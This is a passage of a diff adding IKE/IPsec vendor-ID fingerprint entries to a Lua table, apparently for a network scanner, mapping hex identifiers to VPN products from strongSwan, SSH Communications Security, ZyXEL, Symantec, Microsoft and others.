+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 5.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^45e17f3abe93944cb202910c59ef806b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 5.1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5925859f7377ed7816d2fb81c01fa551'
+});
+
+
+--------------------------------------------------------------------------------
+-- SSH QuickSec
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 0.9.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^37eba0c4136184e7daf8562a77060b4a'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 1.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5d72925e55948a9661a7fc48fdec7ff9'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 1.1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^777fbf4c5af6d1cdd4b895a05bf82594'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 1.1.2',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2cdf08e712ede8a5978761267cd19b91'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 1.1.3',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^59e454a8c2cf02a34959121f1890bc87'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'QuickSec 2.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8f9cc94e01248ecdf147594c284b213b'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- SSH Sentinel
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^054182a07c7ae206f9d2cf9d2432c482'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel 1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b91623e693ca18a54c6a2778552305e8'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel 1.2',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5430888de01a31a6fa8f60224e449958'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel 1.3',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7ee5cb85f71ce259c94a5c731ee4e752'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel 1.4',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^63d9a1a7009491b5a0a6fdeb2a8284f0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'Sentinel 1.4.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^eb4b0d96276b4e220ad16221a7b2a5e6'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Stonegate
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'StoneSoft',
+ version = 'StoneGate',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^c573b056d7faca36c2fba28374127cbf'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'StoneSoft',
+ version = 'StoneGate',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^baeb239037e17787d730eed9d95d48aa'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- strongSwan
+-- http://www.strongswan.org/
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.3.6',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^882fe56d6fd20dbc2251613b2ebe5beb'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.2.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2d1f406118fbd5d28474791ffa00488a'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.2.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2a517d0d23c37d08bce7c292a0217b39'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.2.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^bab253f4cb10a8108a7c927c56c87886'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.2.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9f68901325a972894335302a9531ab9f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.11',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b7bd9f2f978e3259a7aa9f7a1396ad6c'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.10',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^bf3a89ae5bef8e72d44dac8bb88d7d5f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.9',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^78fdd287def01a3f074b5369eab4fd1c'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.8',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^66a2045507c119da78a4666259cdea48'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.7',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^ea840aa4dfc9712d6c32b5a16eb329a3'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.6',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^d19683368af4b0edc21ccde982b1d1b0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.5',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^bf0fbf7306ebb7827042d893539886e2'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^312f9cb1a6b90e19de7528c904ac3087'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5849ab6d8beabd6e4d09e5a3b88c089a'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^15a1ace7ee52fddfef04f928db2dd134'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^d3f1c488c368175d5f40a8f5ca5f5e12'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.1.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4794cef6843422980d1a3d06af41c5cd'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.7',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^ab0746221cc8fd0d5238f73a9b3da557'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.6',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4c90136946577b51919d8d9a6b8e4a9f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.5',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^dd180d21e5ce655a768ba32211dd8ad9'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^1ef283f83549b5ff9608b6d634f84d75'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b181b18e114fc209b3c6e26c3a80718e'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^77e8eea6f556a499de3ffe7f7f95661c'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9dbbafcf1db0dd595ae065294003ad3e'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '4.0.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2ce9c946a4c879bf11b50b76cc5692cb'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.8',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8c4a3bcb729b11f703d22a5b39640ca8'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.7',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3a0d4e7ca4e492ed4dfe476d1ac6018b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.6',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^fe3f49706e26a9fb36a87bfce9ea36ce'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.5',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4c7efa31b39e510432a317570d97bbb9'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^76c72bfd398424dd001b86d0012fe061'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^fb4641ad0eeb2a34491d15f4eff51063'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^299932277b7dfe382ce23465333a7d23'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^e37f2d5ba89a62cd202ee27dac06c8a8'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.8.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^32f0e9b9c06dfe8c9ad5599a636971a1'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.7.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7f50cc4ebf04c2d9da73abfd69b77aa2'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.7.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^a194e2aaddd0bafb95253dd96dc733eb'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.7.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8134878582121785ba65ea345d6ba724'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.7.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^07fa128e4754f9447b1dd46374eef360'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.6.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b927f95219a0fe3600dba3c1182ae55f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.6.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b2860e7837f711bef3d0eeb106872ded'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.6.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5b1cd6fe7d050eda6c93871c107db3d2'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.6.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^66afbc12bbfe6ce108b1f69f4bc917b7'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.6.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3f3266499ffdbd85950e702298062844'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.7',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^1f4442296b83d7e33a8b45209ba0e590'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.6',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3c5eba3d8564928e32ae43c3d9924dee'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.5',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3f267ed621ada7ee6c7d8893ccb0b14b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7a6bf5b7df89642a75a78ef7d657c1c0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^df5b1f0f1d5679d9f8512b16c55a6065'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^861ce5eb72164b190e9e629a31cf4901'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9a4a4648f60f8eda7cfcbfe271ee5b7d'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.5.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9eb3d907ed7ada4e3cbcacb917abc8e4'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.4.4',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^485a70361b4433b31dea1c6be0df243e'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.4.3',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^982b7a063a33c143a8eadc88249f6bcc'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.4.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^e7a3fd0c6d771a8f1b8a86a4169c9ea4'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.4.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^75b0653cb281eb26d31ede38c8e1e228'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.4.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^e829c88149bab3c0cee85da60e18ae9b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.3.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^42a4834c92ab9a7777063afa254bcb69'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.3.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^f697c1afcc2ec8ddcdf99dc7af03a67f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.3.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b8f92b2fa2d3fe5fe158344bda1cc6ae'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.2.2',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^99dc7cc823376b3b33d04357896ae07b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.2.1',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^d9118b1e9de5efced9cc9d883f2168ff'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'strongSwan',
+ version = '2.2.0',
+ ostype = nil, -- Linux, Android, FreeBSD, Mac OS X
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^85b6cbec480d5c8cd9882c825ac2c244'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Symantec
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Symantec',
+ version = 'Raptor 8.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^526170746f7220506f77657256706e20536572766572205b56382e315d'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Symantec',
+ version = 'Raptor',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^526170746f7220506f77657256706e20536572766572'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Timestep
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Timestep',
+ version = 'SGW 1520 315 2.01E013',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^54494d455354455020312053475720313532302033313520322e303145303133'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Timestep',
+ version = 'VPN Gateway',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^54494d4553544550'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- ZyXEL
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'ZyXEL',
+ version = 'ZyWALL router',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b858d1addd08c1e8adafea150608aa4497aa6cc8'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'ZyXEL',
+ version = 'Zywall', -- Zyxel Zywall 2 / Zywall 30w / Zywall 70
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^625027749d5ab97f5616c1602765cf480a3b7d0b'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'ZyXEL',
+ version = 'ZyWALL USG',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^f758f22668750f03b08df6ebe1d0'
+});
+
+
+
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+-- Attribute: Misc fingerprints
+-- not directly usable for fingerprinting
+-- but can be used for guessing
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+
+
+--------------------------------------------------------------------------------
+-- Microsoft
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^621b04bb09882ac1e15935fefa24aeee',
+ text = 'GSSAPI'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e461',
+ text = 'MS NT5 ISAKMPOAKLEY'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^ad2c0dd0b9c32083ccba25b8861ec455',
+ text = 'A GSS-API Authentication Method for IKE'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^b46d8914f3aaa3f2fedeb7c7db2943ca',
+ text = 'A GSS-API Authentication Method for IKE\\n'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^26244d38eddb61b3172a36e3d0cfb819',
+ text = 'Microsoft Initial-Contact'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^fb1de3cdf341b7ea16b7e5be0855f120',
+ text = 'MS-Negotiation Discovery Capable'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^e3a5966a76379fe707228231e5ce8652',
+ text = 'IKE CGA version 1'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^214ca4faffa7f32d6748e5303395ae83',
+ text = 'MS-MamieExists'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = 'Microsoft',
+ version = nil,
+ ostype = 'windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^72872B95FCDA2EB708EFE322119B4971',
+ text = 'NLBS_PRESENT'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Other stuff
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^12f5f28c457168a9702d9fe274cc0100',
+ text = 'Cisco Unity'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4048b7d56ebce88525e7de7f00d6c2d3',
+ text = 'IKE FRAGMENTATION'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^afcad71368a1f1c96b8696fc77570100',
+ text = 'Dead Peer Detection v1.0'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^afcad71368a1f1c96b8696fc7757....',
+ text = 'Dead Peer Detection'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^09002689dfd6b712',
+ text = 'XAUTH'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^325df29a2319f2dd',
+ text = 'draft-krywaniuk-ipsec-antireplay-00'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^325df29a2319f2dd',
+ text = 'draft-krywaniuk-ipsec-antireplay-00'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8db7a41811221660',
+ text = 'draft-ietf-ipsec-heartbeats-00'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^50760f624c63e5c53eea386c685ca083',
+ text = 'ESPThruNAT'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
